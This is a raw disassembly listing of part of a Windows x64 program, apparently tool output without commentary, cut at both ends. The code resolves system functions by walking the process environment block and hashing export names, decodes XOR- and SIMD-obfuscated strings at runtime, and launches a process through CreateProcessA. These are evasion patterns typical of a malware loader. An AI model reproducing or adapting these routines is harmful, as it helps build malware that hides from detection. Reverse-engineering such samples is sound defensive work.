cmp byte [rax + r8], 0
jne 0x140008960
mov rdx, rax
lea rcx, [rbp + 0x16c8]
call fcn.140017f70
mov eax, dword [str.wu6z_]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14001b6e0]
mov byte [rbp - 0x50], 0x20
xor byte [rbp - 0x4f], 0x58
xor byte [rbp - 0x4e], 0x59
xor byte [rbp - 0x4d], 0x5a
xor al, 0x5b
mov byte [rbp - 0x4c], al
lea rax, [rbp - 0x50]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1400089a5
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x16c8]
call fcn.140017f70
lea rcx, [rbp + 0x1648]
call fcn.140017db0
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400089d0
mov rdx, rax
lea rcx, [rbp + 0x16c8]
call fcn.140017f70
movsd xmm0, qword [str.wut_2080_]
movsd qword [rbp + 0xb8], xmm0
movzx eax, word [0x14001bc00]
mov word [rbp + 0xc0], ax
cmp byte [0x14001bc01], 0
je 0x140008a56
mov byte [rbp + 0xb8], 0x20
xor byte [rbp + 0xb9], 0x58
xor byte [rbp + 0xba], 0x59
xor byte [rbp + 0xbb], 0x5a
xor byte [rbp + 0xbc], 0x5b
xor byte [rbp + 0xbd], 0x5c
xor byte [rbp + 0xbe], 0x5d
xor byte [rbp + 0xbf], 0x5e
xor byte [rbp + 0xc0], 0x5f
xor byte [rbp + 0xc1], 0x60
lea rax, [rbp + 0xb8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140008a60
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x16c8]
call fcn.140017f70
lea rcx, [rbp + 0x16c8]
call fcn.140017db0
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140008b16
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140008b16
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x515e62c8
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140008b11
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140008af0
cmp r8d, 0x8598cfc9
je 0x140008b1b
test r9d, r9d
jne 0x140008ad0
mov rcx, qword [rcx]
jmp 0x140008aa0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
xor edx, edx
lea rcx, [rbp + 0x16c8]
call fcn.140017dc0
xor edx, edx
lea rcx, [rbp + 0x1628]
call fcn.140017dc0
xor edx, edx
lea rcx, [rbp + 0x1648]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x16c8]
call fcn.140018090
nop
lea rcx, [rbp + 0x1648]
call fcn.140018090
nop
lea rcx, [rbp + 0x1628]
call fcn.140018090
lea rcx, [rbp + 0x1548]
call fcn.140017db0
mov rdx, rax
lea rcx, [rbp + 0x6b0]
call fcn.1400180f0
mov r14, rax
mov qword [rsp + 0x50], rax
mov rcx, rax
call fcn.140017db0
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov esi, dword [rdx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140008c46
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140008c46
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x49aa789a
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140008c41
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140008c20
cmp r8d, 0x63512614
je 0x140008c4b
test r9d, r9d
jne 0x140008c00
mov rcx, qword [rcx]
jmp 0x140008bd0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 6
mov rcx, r15
call r8
nop
mov rcx, r14
call fcn.140018090
lea rcx, [rbp + 0x1548]
call fcn.140017db0
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x22c4], xmm0
movups xmmword [rbp + 0x22d4], xmm0
movups xmmword [rbp + 0x22e4], xmm0
movups xmmword [rbp + 0x22f4], xmm0
movups xmmword [rbp + 0x2304], xmm0
movups xmmword [rbp + 0x2314], xmm0
mov dword [rbp + 0x2324], ecx
mov dword [rbp + 0x22c0], 0x68
movups xmmword [rbp + 0xe00], xmm0
mov qword [rbp + 0xe10], rcx
lea rcx, [rbp + 0xe00]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x22c0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140008d29
mov rcx, qword [rbp + 0xe00]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xe08]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x1548]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x1548]
call fcn.140018090
nop
mov rcx, r12
call fcn.140018090
cmp byte [rbp + 0x21f9], 0
jne 0x140008eb3
mov r8d, edi
cmp r13d, 2
jl 0x140008e73
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x21a4]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140008d80
cmp r8d, 0x5a
jge 0x140008eb3
movsxd rax, r8d
lea r9, [rbp + 0x21a0]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140008e80
cmp byte [rbp + 0x1fbf], 0
je 0x140009022
mov r8d, edi
cmp r13d, 2
jl 0x140008fdd
mov edx, edi
movdqa xmmword [rbp + 0xe0], xmm10
lea rcx, [rbp + 0x1f74]
mov r8d, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x140008ef0
jmp 0x140009022
lea r9, [rbp + 0x1f70]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x140008ff0
lea rdx, [rbp + 0x1f70]
lea rcx, [rbp + 0x690]
call fcn.1400180f0
mov r15, rax
mov qword [rsp + 0x50], rax
mov ecx, dword [0x14001ba08]
mov dword [rbp + 0xf10], ecx
movzx ecx, byte [0x14001ba0c]
mov byte [rbp + 0xf14], cl
test cl, cl
jne 0x14000907d
xor byte [rbp + 0xf10], 0x57
xor byte [rbp + 0xf11], 0x58
xor byte [rbp + 0xf12], 0x59
xor byte [rbp + 0xf13], 0x5a
mov byte [rbp + 0xf14], 0x5b
mov eax, dword [0x14001bbd8]
mov dword [rbp + 0xf48], eax
movzx eax, byte [0x14001bbdc]
mov byte [rbp + 0xf4c], al
test al, al
jne 0x1400090bd
xor byte [rbp + 0xf48], 0x57
xor byte [rbp + 0xf49], 0x58
xor byte [rbp + 0xf4a], 0x59
xor byte [rbp + 0xf4b], 0x5a
mov byte [rbp + 0xf4c], 0x5b
mov eax, dword [str.sonZzX]
mov dword [rbp + 0xeb8], eax
movzx eax, word [0x14001b8f4]
mov word [rbp + 0xe74], ax
cmp byte [0x14001b8f5], 0
jne 0x1400090ef
xor al, 0x57
mov byte [rbp + 0xe74], al
xor byte [rbp + 0xe75], 0x58
movzx eax, word [0x14001bba0]
mov word [rbp + 0xe70], ax
cmp byte [0x14001bba1], 0
jne 0x140009115
xor al, 0x57
mov byte [rbp + 0xe70], al
xor byte [rbp + 0xe71], 0x58
lea rcx, [rbp + 0x1708]
call fcn.140018250
nop
cmp byte [rbp + 0xebb], 0
je 0x1400091e2
mov r8d, edi
cmp r13d, 2
jl 0x1400091a0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb8]
xorps xmm1, xmm0
movd dword [rbp + 0xeb8], xmm1
jmp 0x1400091e2
lea r9, [rbp + 0xeb8]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400091b0
lea rax, [rbp + 0xeb8]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400091f3
lea rdx, [rbp + 0xeb8]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xebb], 0
jne 0x1400092d2
mov r8d, edi
cmp r13d, 2
jl 0x14000928e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp + 0xeb8]
xorps xmm1, xmm0
movd dword [rbp + 0xeb8], xmm1
jmp 0x1400092d2
lea r9, [rbp + 0xeb8]
nop word [rax + rax]
mov eax, 0xc0e07039
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400092a0
movzx eax, byte [rbp + 0xe75]
test al, al
je 0x1400092ec
xor byte [rbp + 0xe74], 0x57
xor al, 0x58
mov byte [rbp + 0xe75], al
lea rax, [rbp + 0xe74]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400092f6
lea rdx, [rbp + 0xe74]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xe75], 0
jne 0x14000932a
xor byte [rbp + 0xe74], 0x57
mov byte [rbp + 0xe75], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x3794], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x2410]
call fcn.140018270
mov dword [rbp + 0xf50], 0x423a35c7
mov dword [rbp + 0xf54], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x2410]
lea rcx, [rbp + 0xf50]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x670]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x680]
lea rcx, [rbp + 0x670]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140017f70
nop
lea rcx, [rbp + 0x670]
call fcn.140018090
movzx eax, byte [rbp + 0xe75]
test al, al
je 0x1400093dc
xor byte [rbp + 0xe74], 0x57
xor al, 0x58
mov byte [rbp + 0xe75], al
lea rax, [rbp + 0xe74]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400093e6
lea rdx, [rbp + 0xe74]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xe75], 0
jne 0x14000941a
xor byte [rbp + 0xe74], 0x57
mov byte [rbp + 0xe75], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x9964], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x85e0]
call fcn.140018270
mov dword [rbp + 0xf58], 0x423a35c7
mov dword [rbp + 0xf5c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0x85e0]
lea rcx, [rbp + 0xf58]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x650]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x660]
lea rcx, [rbp + 0x650]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140017f70
nop
lea rcx, [rbp + 0x650]
call fcn.140018090
movzx eax, byte [rbp + 0xe75]
test al, al
je 0x1400094cc
xor byte [rbp + 0xe74], 0x57
xor al, 0x58
mov byte [rbp + 0xe75], al
lea rax, [rbp + 0xe74]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400094d6
lea rdx, [rbp + 0xe74]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xe75], 0
jne 0x14000950a
xor byte [rbp + 0xe74], 0x57
mov byte [rbp + 0xe75], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xacf4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x9970]
call fcn.140018270
mov dword [rbp + 0xf60], 0xa98ac7
mov dword [rbp + 0xf64], 0x5f5e0ff
mov r9d, 0x5f5e0ff
mov r8d, 0xa98ac7
lea rdx, [rbp + 0x9970]
lea rcx, [rbp + 0xf60]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0x630]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0x640]
lea rcx, [rbp + 0x630]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140017f70
nop
lea rcx, [rbp + 0x630]
call fcn.140018090
movzx eax, byte [rbp + 0xe75]
test al, al
je 0x1400095bc
xor byte [rbp + 0xe74], 0x57
xor al, 0x58
mov byte [rbp + 0xe75], al
lea rax, [rbp + 0xe74]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400095c6
lea rdx, [rbp + 0xe74]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xe75], 0
jne 0x1400095fa
xor byte [rbp + 0xe74], 0x57
mov byte [rbp + 0xe75], 0x58
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0xc084], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xad00]
call fcn.140018270
mov dword [rbp + 0xf68], 0x423a35c7
mov dword [rbp + 0xf6c], 0x540be3ff
mov r9d, 0x540be3ff
mov r8d, 0x423a35c7
lea rdx, [rbp + 0xad00]
lea rcx, [rbp + 0xf68]
call fcn.140018e40
mov edx, eax
lea rcx, [rbp + 0xb50]
call fcn.1400182b0
nop
mov rbx, qword [rbp + 0xb60]
lea rcx, [rbp + 0xb50]
call fcn.140017db0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.140017f70
nop
lea rcx, [rbp + 0xb50]
call fcn.140018090
movzx eax, byte [rbp + 0xf14]
test al, al
je 0x1400096c1
xor byte [rbp + 0xf10], 0x57
xor byte [rbp + 0xf11], 0x58
xor byte [rbp + 0xf12], 0x59
xor byte [rbp + 0xf13], 0x5a
xor al, 0x5b
mov byte [rbp + 0xf14], al
lea rax, [rbp + 0xf10]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400096d0
lea rdx, [rbp + 0xf10]
lea rcx, [rbp + 0x1708]
call fcn.140017f70
cmp byte [rbp + 0xf14], 0
jne 0x140009719
xor byte [rbp + 0xf10], 0x57
xor byte [rbp + 0xf11], 0x58
xor byte [rbp + 0xf12], 0x59
xor byte [rbp + 0xf13], 0x5a
mov byte [rbp + 0xf14], 0x5b
movzx eax, byte [rbp + 0xe71]
test al, al
je 0x140009733
xor byte [rbp + 0xe70], 0x57
xor al, 0x58
mov byte [rbp + 0xe71], al
lea rdx, [rbp + 0xe70]
lea rcx, [rbp + 0xb30]
call fcn.1400180f0
mov rbx, rax
movzx ecx, byte [rbp + 0xf4c]
test cl, cl
je 0x140009779
xor byte [rbp + 0xf48], 0x57
xor byte [rbp + 0xf49], 0x58
xor byte [rbp + 0xf4a], 0x59
xor byte [rbp + 0xf4b], 0x5a
xor cl, 0x5b
mov byte [rbp + 0xf4c], cl
lea rcx, [rbp + 0xf48]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xb10]
call fcn.140018600
nop
lea r8, [rbp + 0x1708]
mov rdx, rax
lea rcx, [rbp + 0x1768]
call fcn.140018500
nop
lea rcx, [rbp + 0xb10]
call fcn.140018090
nop
lea rcx, [rbp + 0xb30]
call fcn.140018090
cmp byte [rbp + 0xf4c], 0
jne 0x1400097f5
xor byte [rbp + 0xf48], 0x57
xor byte [rbp + 0xf49], 0x58
xor byte [rbp + 0xf4a], 0x59
xor byte [rbp + 0xf4b], 0x5a
mov byte [rbp + 0xf4c], 0x5b
cmp byte [rbp + 0xe71], 0
jne 0x14000980c
xor byte [rbp + 0xe70], 0x57
mov byte [rbp + 0xe71], 0x58
xor edx, edx
lea rcx, [rbp + 0x1708]
call fcn.140017dc0
nop
lea rcx, [rbp + 0x1708]
call fcn.140018090
nop
lea rcx, [rbp + 0x1768]
call fcn.140017db0
mov rbx, rax
movups xmm0, xmmword [str.7.___5_3_fAO__v_b_v]
movups xmmword [rbp + 0x1120], xmm0
mov ecx, dword [0x14001b730]
mov dword [rbp + 0x1130], ecx
movzx ecx, word [0x14001b734]
mov word [rbp + 0x1134], cx
movsd xmm0, qword [str.s_06__f_7_BDd]
movsd qword [rbp + 0x10b0], xmm0
mov ecx, dword [0x14001bac8]
mov dword [rbp + 0x10b8], ecx
movzx eax, word [0x14001bacc]
mov word [rbp + 0x10bc], ax
mov eax, dword [str.pcyZ]
mov dword [rbp + 0xe84], eax
movups xmm0, xmmword [0x14001bb28]
movups xmmword [rbp + 0x1c98], xmm0
movups xmm1, xmmword [0x14001bb38]
movups xmmword [rbp + 0x1ca8], xmm1
movsd xmm0, qword [0x14001bb48]
movsd qword [rbp + 0x1cb8], xmm0
movzx eax, word [0x14001bb50]
mov word [rbp + 0x1cc0], ax
movzx eax, byte [0x14001bb52]
mov byte [rbp + 0x1cc2], al
lea rcx, [rbp + 0x1828]
call fcn.140018250
nop
cmp byte [rbp + 0x1135], 0
je 0x140009b73
mov r8d, edi
cmp r13d, 2
jl 0x140009b33
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1120]
xorps xmm2, xmm1
movd dword [rbp + 0x1120], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1124]
xorps xmm2, xmm1
movd dword [rbp + 0x1124], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1128]
xorps xmm2, xmm1
movd dword [rbp + 0x1128], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x112c]
xorps xmm2, xmm1
movd dword [rbp + 0x112c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1130]
xorps xmm2, xmm1
movd dword [rbp + 0x1130], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1120]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009b40
lea rax, [rbp + 0x1120]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009b80
lea rdx, [rbp + 0x1120]
lea rcx, [rbp + 0x1828]
call fcn.140017f70
cmp byte [rbp + 0x1135], 0
jne 0x140009e33
mov r8d, edi
cmp r13d, 2
jl 0x140009de7
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1120]
xorps xmm2, xmm1
movd dword [rbp + 0x1120], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1124]
xorps xmm2, xmm1
movd dword [rbp + 0x1124], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1128]
xorps xmm2, xmm1
movd dword [rbp + 0x1128], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
